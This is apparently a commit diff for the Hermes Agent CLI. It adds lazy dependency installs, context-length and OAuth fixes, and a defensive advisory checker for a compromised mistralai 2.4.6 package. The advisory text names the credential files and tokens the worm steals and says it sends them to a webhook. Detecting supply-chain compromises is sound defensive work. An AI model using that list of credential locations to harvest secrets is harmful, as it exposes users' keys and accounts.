Compare commits
17 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2b47b40c10 | |||
| b1a609fba3 | |||
| 6d80aa80eb | |||
| e0a1778028 | |||
| 40a9327248 | |||
| 23344a9a3c | |||
| dd0923bb89 | |||
| c1eb2dcda7 | |||
| 99ad2d1372 | |||
| 407683b72d | |||
| 94d9db72ba | |||
| 58e2109f10 | |||
| 32abe742fa | |||
| f0c2964f0b | |||
| 057fc7b073 | |||
| 528bba6734 | |||
| 7993e03c06 |
@@ -35,6 +35,14 @@ def _get_anthropic_sdk():
|
||||
"""Return the ``anthropic`` SDK module, importing lazily. None if not installed."""
|
||||
global _anthropic_sdk
|
||||
if _anthropic_sdk is ...:
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("provider.anthropic", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception:
|
||||
# FeatureUnavailable — fall through to ImportError handling below
|
||||
pass
|
||||
try:
|
||||
import anthropic as _sdk
|
||||
_anthropic_sdk = _sdk
|
||||
|
||||
@@ -382,7 +382,7 @@ _AI_GATEWAY_HEADERS = {
|
||||
# Nous Portal extra_body for product attribution.
|
||||
# Callers should pass this as extra_body in chat.completions.create()
|
||||
# when the auxiliary client is backed by Nous Portal.
|
||||
NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent"]}
|
||||
NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent", "client=aux"]}
|
||||
|
||||
# Set at resolve time — True if the auxiliary client points to Nous Portal
|
||||
auxiliary_is_nous: bool = False
|
||||
@@ -4026,7 +4026,7 @@ def _build_call_kwargs(
|
||||
# Provider-specific extra_body
|
||||
merged_extra = dict(extra_body or {})
|
||||
if provider == "nous" or auxiliary_is_nous:
|
||||
merged_extra.setdefault("tags", []).extend(["product=hermes-agent"])
|
||||
merged_extra.setdefault("tags", []).extend(NOUS_EXTRA_BODY["tags"])
|
||||
if merged_extra:
|
||||
kwargs["extra_body"] = merged_extra
|
||||
|
||||
|
||||
+30
-11
@@ -1338,16 +1338,35 @@ def _resolve_nous_context_length(model: str) -> Optional[int]:
|
||||
with version normalization (dot↔dash).
|
||||
"""
|
||||
metadata = fetch_model_metadata() # OpenRouter cache
|
||||
|
||||
def _safe_ctx(or_id: str, entry: dict) -> Optional[int]:
|
||||
"""Return context length, but reject stale 32k values for Kimi models.
|
||||
|
||||
Apply the same guard used for the generic OpenRouter path (step 6 in
|
||||
resolve_context_length) so the Nous portal path does not short-circuit it.
|
||||
"""
|
||||
ctx = entry.get("context_length")
|
||||
if ctx is None:
|
||||
return None
|
||||
if ctx <= 32768 and _model_name_suggests_kimi(or_id):
|
||||
logger.info(
|
||||
"Rejecting OpenRouter metadata context=%s for %r "
|
||||
"(Kimi-family underreport, Nous path); falling through to hardcoded defaults",
|
||||
ctx, or_id,
|
||||
)
|
||||
return None
|
||||
return ctx
|
||||
|
||||
# Exact match first
|
||||
if model in metadata:
|
||||
return metadata[model].get("context_length")
|
||||
return _safe_ctx(model, metadata[model])
|
||||
|
||||
normalized = _normalize_model_version(model).lower()
|
||||
|
||||
for or_id, entry in metadata.items():
|
||||
bare = or_id.split("/", 1)[1] if "/" in or_id else or_id
|
||||
if bare.lower() == model.lower() or _normalize_model_version(bare).lower() == normalized:
|
||||
return entry.get("context_length")
|
||||
return _safe_ctx(or_id, entry)
|
||||
|
||||
# Partial prefix match for cases like gemini-3-flash → gemini-3-flash-preview
|
||||
# Require match to be at a word boundary (followed by -, :, or end of string)
|
||||
@@ -1358,7 +1377,7 @@ def _resolve_nous_context_length(model: str) -> Optional[int]:
|
||||
if candidate.startswith(query) and (
|
||||
len(candidate) == len(query) or candidate[len(query)] in "-:."
|
||||
):
|
||||
return entry.get("context_length")
|
||||
return _safe_ctx(or_id, entry)
|
||||
|
||||
return None
|
||||
|
||||
@@ -1437,6 +1456,14 @@ def get_model_context_length(
|
||||
model, base_url, f"{cached:,}",
|
||||
)
|
||||
_invalidate_cached_context_length(model, base_url)
|
||||
# Invalidate stale 32k cache entries for Kimi-family models.
|
||||
elif cached <= 32768 and _model_name_suggests_kimi(model):
|
||||
logger.info(
|
||||
"Dropping stale Kimi cache entry %s@%s -> %s (OpenRouter underreport); "
|
||||
"re-resolving via hardcoded defaults",
|
||||
model, base_url, f"{cached:,}",
|
||||
)
|
||||
_invalidate_cached_context_length(model, base_url)
|
||||
else:
|
||||
return cached
|
||||
|
||||
@@ -1575,14 +1602,6 @@ def get_model_context_length(
|
||||
if model in metadata:
|
||||
or_ctx = metadata[model].get("context_length", DEFAULT_FALLBACK_CONTEXT)
|
||||
# Guard against stale OpenRouter metadata for Kimi-family models.
|
||||
# OpenRouter reports 32768 for moonshotai/kimi-k2.6, but the model
|
||||
# actually supports 262144 (models.dev + official Kimi docs agree).
|
||||
# Providers that host their own Kimi endpoints (Ollama Cloud, Kimi
|
||||
# Coding, Moonshot) would otherwise trip the 64k minimum-context
|
||||
# guard and reject a perfectly capable model.
|
||||
# The filter is narrow: only reject exactly 32768 for Kimi-named
|
||||
# models. If OpenRouter ever updates its data, the stale path
|
||||
# becomes dead code with no impact.
|
||||
if or_ctx == 32768 and _model_name_suggests_kimi(model):
|
||||
logger.info(
|
||||
"Rejecting OpenRouter metadata context=%s for %r "
|
||||
|
||||
@@ -4214,12 +4214,34 @@ class HermesCLI:
|
||||
ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]")
|
||||
return False
|
||||
|
||||
def _show_security_advisories(self):
|
||||
"""Show a startup banner if any unacked security advisories match.
|
||||
|
||||
Renders a single bold-red box on stderr (so piped stdout remains
|
||||
clean) listing the worst hit and pointing at ``hermes doctor``.
|
||||
Banner-cache rate-limits this to once per 24h per advisory; full
|
||||
remediation lives behind ``hermes doctor`` so the banner stays
|
||||
small.
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.security_advisories import (
|
||||
detect_compromised,
|
||||
startup_banner,
|
||||
)
|
||||
hits = detect_compromised()
|
||||
banner = startup_banner(hits)
|
||||
if banner:
|
||||
# Print to stderr — keeps stdout clean for piped automation,
|
||||
# and Rich's banner rendering already wrote to stdout above.
|
||||
print(banner, file=sys.stderr, flush=True)
|
||||
except Exception:
|
||||
# Never let the security banner block startup. Failures are
|
||||
# logged at DEBUG by the advisory module.
|
||||
pass
|
||||
|
||||
def show_banner(self):
|
||||
"""Display the welcome banner in Claude Code style."""
|
||||
self.console.clear()
|
||||
|
||||
# Get context length for display before branching so it remains
|
||||
# available to the low-context warning logic in compact mode too.
|
||||
ctx_len = None
|
||||
if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'):
|
||||
ctx_len = self.agent.context_compressor.context_length
|
||||
@@ -11016,10 +11038,9 @@ class HermesCLI:
|
||||
pass
|
||||
|
||||
self.show_banner()
|
||||
|
||||
# One-line Honcho session indicator (TTY-only, not captured by agent).
|
||||
# Only show when the user explicitly configured Honcho for Hermes
|
||||
# (not auto-enabled from a stray HONCHO_API_KEY env var).
|
||||
# Surface any active supply-chain security advisories right after the
|
||||
# welcome banner. Quiet/single-query paths call this themselves.
|
||||
self._show_security_advisories()
|
||||
# If resuming a session, load history and display it immediately
|
||||
# so the user has context before typing their first message.
|
||||
if self._resumed:
|
||||
@@ -13528,6 +13549,9 @@ def main(
|
||||
_query_label = query or ("[image attached]" if single_query_images else "")
|
||||
if _query_label:
|
||||
cli.console.print(f"[bold blue]Query:[/] {_query_label}")
|
||||
# Surface security advisories before the agent runs — short
|
||||
# banner, doesn't depend on the welcome banner being shown.
|
||||
cli._show_security_advisories()
|
||||
cli.chat(query, images=single_query_images or None)
|
||||
cli._print_exit_summary()
|
||||
return
|
||||
|
||||
@@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str:
|
||||
|
||||
|
||||
def check_discord_requirements() -> bool:
|
||||
"""Check if Discord dependencies are available."""
|
||||
return DISCORD_AVAILABLE
|
||||
"""Check if Discord dependencies are available.
|
||||
|
||||
Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")``
|
||||
on first call if not present. After successful install, re-binds module
|
||||
globals so ``DISCORD_AVAILABLE`` becomes True.
|
||||
"""
|
||||
global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands
|
||||
if DISCORD_AVAILABLE:
|
||||
return True
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("platform.discord", prompt=False)
|
||||
except Exception:
|
||||
return False
|
||||
try:
|
||||
import discord as _discord
|
||||
from discord import Message as _DM, Intents as _Intents
|
||||
from discord.ext import commands as _commands
|
||||
except ImportError:
|
||||
return False
|
||||
discord = _discord
|
||||
DiscordMessage = _DM
|
||||
Intents = _Intents
|
||||
commands = _commands
|
||||
DISCORD_AVAILABLE = True
|
||||
return True
|
||||
|
||||
|
||||
def _build_allowed_mentions():
|
||||
|
||||
@@ -103,8 +103,58 @@ _TELEGRAM_IMAGE_EXT_TO_MIME = {
|
||||
|
||||
|
||||
def check_telegram_requirements() -> bool:
|
||||
"""Check if Telegram dependencies are available."""
|
||||
return TELEGRAM_AVAILABLE
|
||||
"""Check if Telegram dependencies are available.
|
||||
|
||||
If python-telegram-bot is missing, attempts to lazy-install it via
|
||||
``tools.lazy_deps.ensure("platform.telegram")``. After a successful
|
||||
install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True
|
||||
so the adapter's class-level type aliases get rebound.
|
||||
"""
|
||||
global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton
|
||||
global InlineKeyboardMarkup, LinkPreviewOptions, Application
|
||||
global CommandHandler, CallbackQueryHandler, TelegramMessageHandler
|
||||
global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest
|
||||
if TELEGRAM_AVAILABLE:
|
||||
return True
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("platform.telegram", prompt=False)
|
||||
except Exception:
|
||||
return False
|
||||
try:
|
||||
from telegram import Update as _Update, Bot as _Bot, Message as _Message
|
||||
from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM
|
||||
try:
|
||||
from telegram import LinkPreviewOptions as _LPO
|
||||
except ImportError:
|
||||
_LPO = None
|
||||
from telegram.ext import (
|
||||
Application as _App, CommandHandler as _CH,
|
||||
CallbackQueryHandler as _CQH,
|
||||
MessageHandler as _MH,
|
||||
ContextTypes as _CT, filters as _filters,
|
||||
)
|
||||
from telegram.constants import ParseMode as _PM, ChatType as _CtT
|
||||
from telegram.request import HTTPXRequest as _HR
|
||||
except ImportError:
|
||||
return False
|
||||
Update = _Update
|
||||
Bot = _Bot
|
||||
Message = _Message
|
||||
InlineKeyboardButton = _IKB
|
||||
InlineKeyboardMarkup = _IKM
|
||||
LinkPreviewOptions = _LPO
|
||||
Application = _App
|
||||
CommandHandler = _CH
|
||||
CallbackQueryHandler = _CQH
|
||||
TelegramMessageHandler = _MH
|
||||
ContextTypes = _CT
|
||||
filters = _filters
|
||||
ParseMode = _PM
|
||||
ChatType = _CtT
|
||||
HTTPXRequest = _HR
|
||||
TELEGRAM_AVAILABLE = True
|
||||
return True
|
||||
|
||||
|
||||
# Matches every character that MarkdownV2 requires to be backslash-escaped
|
||||
|
||||
@@ -3275,6 +3275,30 @@ class GatewayRunner:
|
||||
write_runtime_status(gateway_state="starting", exit_reason=None)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Log any active supply-chain security advisories. Operators see this
|
||||
# in gateway.log and `hermes status` surfaces it; we do NOT block
|
||||
# startup or surface it inline to user messages, since the gateway
|
||||
# operator is the one who can act on it (uninstall the package,
|
||||
# rotate credentials). See hermes_cli/security_advisories.py.
|
||||
try:
|
||||
from hermes_cli.security_advisories import (
|
||||
detect_compromised,
|
||||
gateway_log_message,
|
||||
)
|
||||
_adv_hits = detect_compromised()
|
||||
_adv_msg = gateway_log_message(_adv_hits)
|
||||
if _adv_msg:
|
||||
logger.warning("%s", _adv_msg)
|
||||
logger.warning(
|
||||
"Run `hermes doctor` on the gateway host for full "
|
||||
"remediation steps."
|
||||
)
|
||||
except Exception:
|
||||
logger.debug(
|
||||
"security advisory check failed at gateway startup",
|
||||
exc_info=True,
|
||||
)
|
||||
|
||||
# Warn if no user allowlists are configured and open access is not opted in
|
||||
_builtin_allowed_vars = (
|
||||
|
||||
+30
-11
@@ -4046,6 +4046,8 @@ def get_auth_status(provider_id: Optional[str] = None) -> Dict[str, Any]:
|
||||
return get_qwen_auth_status()
|
||||
if target == "google-gemini-cli":
|
||||
return get_gemini_oauth_auth_status()
|
||||
if target == "minimax-oauth":
|
||||
return get_minimax_oauth_auth_status()
|
||||
if target == "copilot-acp":
|
||||
return get_external_process_provider_status(target)
|
||||
# API-key providers
|
||||
@@ -4757,6 +4759,20 @@ def _minimax_request_user_code(
|
||||
return payload
|
||||
|
||||
|
||||
def _minimax_expired_in_looks_like_unix_ms(expired_in: int, *, now_ms: int) -> bool:
|
||||
"""True if ``expired_in`` is plausibly a unix-ms absolute time (vs TTL seconds)."""
|
||||
return int(expired_in) > (now_ms // 2)
|
||||
|
||||
|
||||
def _minimax_resolve_token_expiry_unix(expired_in: int, *, now: datetime) -> float:
|
||||
"""Return access-token expiry as unix seconds (MiniMax uses ms epoch or TTL seconds)."""
|
||||
raw = int(expired_in)
|
||||
now_ms = int(now.timestamp() * 1000)
|
||||
if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms):
|
||||
return raw / 1000.0
|
||||
return now.timestamp() + max(1, raw)
|
||||
|
||||
|
||||
def _minimax_poll_token(
|
||||
client: httpx.Client, *, portal_base_url: str, client_id: str,
|
||||
user_code: str, code_verifier: str, expired_in: int, interval_ms: Optional[int],
|
||||
@@ -4765,12 +4781,11 @@ def _minimax_poll_token(
|
||||
# Defensive parsing: if it's small enough to be a duration, treat as seconds.
|
||||
import time as _time
|
||||
now_ms = int(_time.time() * 1000)
|
||||
if expired_in > now_ms // 2:
|
||||
# Looks like a unix-ms timestamp.
|
||||
deadline = expired_in / 1000.0
|
||||
raw = int(expired_in)
|
||||
if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms):
|
||||
deadline = raw / 1000.0
|
||||
else:
|
||||
# Treat as duration in seconds from now.
|
||||
deadline = _time.time() + max(1, expired_in)
|
||||
deadline = _time.time() + max(1, raw)
|
||||
interval = max(2.0, (interval_ms or 2000) / 1000.0)
|
||||
|
||||
while _time.time() < deadline:
|
||||
@@ -4884,8 +4899,10 @@ def _minimax_oauth_login(
|
||||
)
|
||||
|
||||
now = datetime.now(timezone.utc)
|
||||
expires_in_s = int(token_data["expired_in"])
|
||||
expires_at = now.timestamp() + expires_in_s
|
||||
expires_at_unix = _minimax_resolve_token_expiry_unix(
|
||||
int(token_data["expired_in"]), now=now,
|
||||
)
|
||||
expires_in_s = max(0, int(expires_at_unix - now.timestamp()))
|
||||
|
||||
auth_state = {
|
||||
"provider": "minimax-oauth",
|
||||
@@ -4899,7 +4916,7 @@ def _minimax_oauth_login(
|
||||
"refresh_token": token_data["refresh_token"],
|
||||
"resource_url": token_data.get("resource_url"),
|
||||
"obtained_at": now.isoformat(),
|
||||
"expires_at": datetime.fromtimestamp(expires_at, tz=timezone.utc).isoformat(),
|
||||
"expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(),
|
||||
"expires_in": expires_in_s,
|
||||
}
|
||||
|
||||
@@ -4960,14 +4977,16 @@ def _refresh_minimax_oauth_state(
|
||||
relogin_required=True,
|
||||
)
|
||||
now_dt = datetime.now(timezone.utc)
|
||||
expires_in_s = int(payload["expired_in"])
|
||||
expires_at_unix = _minimax_resolve_token_expiry_unix(
|
||||
int(payload["expired_in"]), now=now_dt,
|
||||
)
|
||||
expires_in_s = max(0, int(expires_at_unix - now_dt.timestamp()))
|
||||
new_state = dict(state)
|
||||
new_state.update({
|
||||
"access_token": payload["access_token"],
|
||||
"refresh_token": payload.get("refresh_token", state["refresh_token"]),
|
||||
"obtained_at": now_dt.isoformat(),
|
||||
"expires_at": datetime.fromtimestamp(now_dt.timestamp() + expires_in_s,
|
||||
tz=timezone.utc).isoformat(),
|
||||
"expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(),
|
||||
"expires_in": expires_in_s,
|
||||
})
|
||||
_minimax_save_auth_state(new_state)
|
||||
|
||||
@@ -375,10 +375,12 @@ def auth_add_command(args) -> None:
|
||||
return
|
||||
|
||||
if provider == "minimax-oauth":
|
||||
from hermes_cli.auth import resolve_minimax_oauth_runtime_credentials
|
||||
creds = resolve_minimax_oauth_runtime_credentials()
|
||||
creds = auth_mod._minimax_oauth_login(
|
||||
open_browser=not getattr(args, "no_browser", False),
|
||||
timeout_seconds=getattr(args, "timeout", None) or 15.0,
|
||||
)
|
||||
label = (getattr(args, "label", None) or "").strip() or label_from_token(
|
||||
creds["api_key"],
|
||||
creds["access_token"],
|
||||
_oauth_default_label(provider, len(pool.entries()) + 1),
|
||||
)
|
||||
entry = PooledCredential(
|
||||
@@ -388,8 +390,9 @@ def auth_add_command(args) -> None:
|
||||
auth_type=AUTH_TYPE_OAUTH,
|
||||
priority=0,
|
||||
source=f"{SOURCE_MANUAL}:minimax_oauth",
|
||||
access_token=creds["api_key"],
|
||||
base_url=creds.get("base_url"),
|
||||
access_token=creds["access_token"],
|
||||
refresh_token=creds.get("refresh_token"),
|
||||
base_url=creds.get("inference_base_url"),
|
||||
)
|
||||
pool.add_entry(entry)
|
||||
print(f'Added {provider} OAuth credential #{len(pool.entries())}: "{entry.label}"')
|
||||
|
||||
@@ -1332,6 +1332,21 @@ DEFAULT_CONFIG = {
|
||||
"domains": [],
|
||||
"shared_files": [],
|
||||
},
|
||||
# Acknowledged supply-chain security advisories. Each entry is the
|
||||
# ID of an advisory the user has read and acted on (uninstalled the
|
||||
# compromised package, rotated credentials). Acked advisories no
|
||||
# longer trigger the startup banner. Add via `hermes doctor --ack
|
||||
# <id>`; remove by editing the list directly. See
|
||||
# ``hermes_cli/security_advisories.py`` for the catalog.
|
||||
"acked_advisories": [],
|
||||
# Allow Hermes to lazy-install opt-in backend packages from PyPI
|
||||
# the first time the user enables a backend that needs them
|
||||
# (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as
|
||||
# their TTS provider). Set to false to require explicit
|
||||
# ``pip install`` for everything beyond the base set — appropriate
|
||||
# for restricted networks, audited environments, or air-gapped
|
||||
# systems where any runtime install is unacceptable.
|
||||
"allow_lazy_installs": True,
|
||||
},
|
||||
|
||||
"cron": {
|
||||
|
||||
+84
-2
@@ -296,19 +296,101 @@ def _build_apikey_providers_list() -> list:
|
||||
def run_doctor(args):
|
||||
"""Run diagnostic checks."""
|
||||
should_fix = getattr(args, 'fix', False)
|
||||
ack_target = getattr(args, 'ack', None)
|
||||
|
||||
# Doctor runs from the interactive CLI, so CLI-gated tool availability
|
||||
# checks (like cronjob management) should see the same context as `hermes`.
|
||||
os.environ.setdefault("HERMES_INTERACTIVE", "1")
|
||||
|
||||
|
||||
# Handle `hermes doctor --ack <id>` as a fast path. Persist the ack and
|
||||
# return without running the rest of the diagnostics — the user has
|
||||
# already seen the advisory and just wants to silence it.
|
||||
if ack_target:
|
||||
from hermes_cli.security_advisories import (
|
||||
ADVISORIES,
|
||||
ack_advisory,
|
||||
)
|
||||
valid_ids = {a.id for a in ADVISORIES}
|
||||
if ack_target not in valid_ids:
|
||||
print(color(
|
||||
f"Unknown advisory ID: {ack_target!r}. Known IDs: "
|
||||
f"{', '.join(sorted(valid_ids)) or '(none)'}",
|
||||
Colors.RED,
|
||||
))
|
||||
sys.exit(2)
|
||||
if ack_advisory(ack_target):
|
||||
print(color(
|
||||
f" ✓ Acknowledged advisory {ack_target}. "
|
||||
f"It will no longer trigger startup banners.",
|
||||
Colors.GREEN,
|
||||
))
|
||||
else:
|
||||
print(color(
|
||||
f" ✗ Failed to persist ack for {ack_target}. "
|
||||
f"Check ~/.hermes/config.yaml is writable.",
|
||||
Colors.RED,
|
||||
))
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
issues = []
|
||||
manual_issues = [] # issues that can't be auto-fixed
|
||||
fixed_count = 0
|
||||
|
||||
|
||||
print()
|
||||
print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN))
|
||||
print(color("│ 🩺 Hermes Doctor │", Colors.CYAN))
|
||||
print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN))
|
||||
|
||||
# =========================================================================
|
||||
# Check: Security advisories (RUNS FIRST — these are the most urgent)
|
||||
# =========================================================================
|
||||
print()
|
||||
print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD))
|
||||
try:
|
||||
from hermes_cli.security_advisories import (
|
||||
detect_compromised,
|
||||
filter_unacked,
|
||||
full_remediation_text,
|
||||
get_acked_ids,
|
||||
)
|
||||
all_hits = detect_compromised()
|
||||
fresh_hits = filter_unacked(all_hits)
|
||||
if fresh_hits:
|
||||
for hit in fresh_hits:
|
||||
check_fail(
|
||||
f"{hit.advisory.title}",
|
||||
f"({hit.package}=={hit.installed_version})",
|
||||
)
|
||||
# Print the full remediation block, indented under the
|
||||
# check_fail header so it reads as a single section.
|
||||
for line in full_remediation_text(hit):
|
||||
if line:
|
||||
print(f" {color(line, Colors.YELLOW)}")
|
||||
else:
|
||||
print()
|
||||
# Funnel into the action list so the summary block surfaces it
|
||||
# for users who scroll past the section.
|
||||
manual_issues.append(
|
||||
f"Resolve security advisory {hit.advisory.id}: "
|
||||
f"uninstall {hit.package}=={hit.installed_version} and "
|
||||
f"rotate credentials, then run "
|
||||
f"`hermes doctor --ack {hit.advisory.id}`."
|
||||
)
|
||||
# Acked-but-still-installed: show as informational so the user
|
||||
# knows the package is still on disk after the ack.
|
||||
acked_ids = get_acked_ids()
|
||||
for h in all_hits:
|
||||
if h.advisory.id in acked_ids:
|
||||
check_warn(
|
||||
f"{h.package}=={h.installed_version} still installed "
|
||||
f"(advisory {h.advisory.id} acknowledged)",
|
||||
)
|
||||
else:
|
||||
check_ok("No active security advisories")
|
||||
except Exception as e:
|
||||
# Never let a bug in the advisory check block the rest of doctor.
|
||||
check_warn(f"Security advisory check failed: {e}")
|
||||
|
||||
# =========================================================================
|
||||
# Check: Python version
|
||||
|
||||
@@ -10086,6 +10086,16 @@ def main():
|
||||
doctor_parser.add_argument(
|
||||
"--fix", action="store_true", help="Attempt to fix issues automatically"
|
||||
)
|
||||
doctor_parser.add_argument(
|
||||
"--ack",
|
||||
metavar="ADVISORY_ID",
|
||||
default=None,
|
||||
help=(
|
||||
"Acknowledge a security advisory by ID and exit. After ack, the "
|
||||
"advisory will no longer trigger startup banners. Run `hermes "
|
||||
"doctor` first to see active advisories and their IDs."
|
||||
),
|
||||
)
|
||||
doctor_parser.set_defaults(func=cmd_doctor)
|
||||
|
||||
# =========================================================================
|
||||
|
||||
@@ -205,6 +205,14 @@ def _resolve_runtime_from_pool_entry(
|
||||
elif provider == "google-gemini-cli":
|
||||
api_mode = "chat_completions"
|
||||
base_url = base_url or "cloudcode-pa://google"
|
||||
elif provider == "minimax-oauth":
|
||||
# MiniMax OAuth tokens are valid only against the Anthropic Messages
|
||||
# compatible endpoint. Do not honor stale model.api_mode values from a
|
||||
# prior OpenAI-compatible provider, or the client will hit
|
||||
# /chat/completions under /anthropic and receive a bare nginx 404.
|
||||
api_mode = "anthropic_messages"
|
||||
pconfig = PROVIDER_REGISTRY.get(provider)
|
||||
base_url = base_url or (pconfig.inference_base_url if pconfig else "")
|
||||
elif provider == "anthropic":
|
||||
api_mode = "anthropic_messages"
|
||||
cfg_provider = str(model_cfg.get("provider") or "").strip().lower()
|
||||
|
||||
@@ -0,0 +1,451 @@
|
||||
"""
|
||||
Security advisory checker for Hermes Agent.
|
||||
|
||||
Detects known-compromised Python packages installed in the active venv
|
||||
(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that
|
||||
poisoned ``mistralai 2.4.6`` on PyPI) and surfaces remediation guidance to
|
||||
the user.
|
||||
|
||||
Design goals:
|
||||
|
||||
- **Cheap.** A single ``importlib.metadata.version()`` call per advisory
|
||||
package. Safe to run on every CLI startup.
|
||||
- **Loud when it matters, silent otherwise.** If no compromised package is
|
||||
installed, the user sees nothing.
|
||||
- **Acknowledgeable.** Once the user has read and acted on an advisory they
|
||||
can dismiss it via ``hermes doctor --ack <id>``; the ack is persisted to
|
||||
``config.security.acked_advisories`` and survives restart.
|
||||
- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``;
|
||||
adding a new compromised version is a one-line edit. No code changes
|
||||
needed when the next worm hits.
|
||||
|
||||
The check is invoked from three places:
|
||||
|
||||
1. ``hermes doctor`` (and ``hermes doctor --ack <id>``)
|
||||
2. CLI startup banner (one short line, then full guidance via
|
||||
``hermes doctor``)
|
||||
3. Gateway startup (logged to gateway.log; first interactive message gets
|
||||
a one-line operator banner)
|
||||
|
||||
This module is intentionally dependency-free beyond the stdlib so it can
|
||||
run in environments where the rest of Hermes failed to import.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Iterable, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Advisory catalog
|
||||
#
|
||||
# Each advisory is a community-facing security warning about one or more
|
||||
# specific package versions that are known to be compromised. To add a new
|
||||
# advisory:
|
||||
#
|
||||
# 1. Append a new ``Advisory`` to ``ADVISORIES`` below
|
||||
# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)``
|
||||
# — version strings must match what ``importlib.metadata.version()``
|
||||
# returns. Use an empty frozenset to flag *any installed version*
|
||||
# (rare; only when the maintainer namespace itself is compromised).
|
||||
# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste.
|
||||
#
|
||||
# Do NOT remove old advisories. Once an advisory ships, leave it in place so
|
||||
# users running an older release with the compromised package still get
|
||||
# warned. Mark superseded ones via ``superseded_by`` if needed.
|
||||
# =============================================================================
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Advisory:
|
||||
"""One security advisory entry.
|
||||
|
||||
Attributes:
|
||||
id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``).
|
||||
Lowercase-hyphen, never reused.
|
||||
title: one-line headline shown in banners.
|
||||
summary: 1-3 sentence description of what was compromised and how.
|
||||
url: reference URL (Socket advisory, GitHub advisory, PyPI page).
|
||||
compromised: tuple of ``(package_name, frozenset_of_versions)``
|
||||
pairs. Empty frozenset means "any version of this package is
|
||||
considered suspect" — use sparingly.
|
||||
remediation: ordered list of steps the user should take. First step
|
||||
should be the uninstall command; subsequent steps the credential
|
||||
audit / rotation guidance.
|
||||
published: ISO date string for sort order.
|
||||
"""
|
||||
|
||||
id: str
|
||||
title: str
|
||||
summary: str
|
||||
url: str
|
||||
compromised: tuple[tuple[str, frozenset[str]], ...]
|
||||
remediation: tuple[str, ...]
|
||||
published: str = ""
|
||||
severity: str = "high" # low / medium / high / critical
|
||||
|
||||
|
||||
ADVISORIES: tuple[Advisory, ...] = (
|
||||
Advisory(
|
||||
id="shai-hulud-2026-05",
|
||||
title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI",
|
||||
summary=(
|
||||
"PyPI quarantined the mistralai package on 2026-05-12 after a "
|
||||
"malicious 2.4.6 release. The worm steals credentials from "
|
||||
"environment variables and credential files (~/.npmrc, ~/.pypirc, "
|
||||
"~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils "
|
||||
"them to a hardcoded webhook. If you ran any Python process that "
|
||||
"imported mistralai 2.4.6 — including hermes when configured "
|
||||
"with provider=mistral for TTS or STT — assume those credentials "
|
||||
"are exposed."
|
||||
),
|
||||
url="https://socket.dev/blog/mini-shai-hulud-worm-pypi",
|
||||
compromised=(
|
||||
("mistralai", frozenset({"2.4.6"})),
|
||||
),
|
||||
remediation=(
|
||||
"Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)",
|
||||
"Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, "
|
||||
"Nous, GitHub, AWS, Google, Mistral, etc.).",
|
||||
"Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, "
|
||||
"and any other credential files for tokens that may have been read.",
|
||||
"Check GitHub for unexpected new SSH keys, deploy keys, or webhook "
|
||||
"additions on repos you have admin on.",
|
||||
"After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss "
|
||||
"this warning.",
|
||||
),
|
||||
published="2026-05-12",
|
||||
severity="critical",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Detection
|
||||
# =============================================================================
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class AdvisoryHit:
|
||||
"""One package-version match against an advisory."""
|
||||
|
||||
advisory: Advisory
|
||||
package: str
|
||||
installed_version: str
|
||||
|
||||
|
||||
def _installed_version(pkg_name: str) -> Optional[str]:
|
||||
"""Return the installed version of ``pkg_name``, or None if not installed.
|
||||
|
||||
Uses ``importlib.metadata`` so we don't depend on pip being importable
|
||||
inside the active venv (uv-created venvs may lack pip).
|
||||
"""
|
||||
try:
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive.
|
||||
return None
|
||||
try:
|
||||
return version(pkg_name)
|
||||
except PackageNotFoundError:
|
||||
return None
|
||||
except Exception:
|
||||
# Some metadata corruption modes raise ValueError or OSError. Don't
|
||||
# let advisory checking crash the CLI startup path.
|
||||
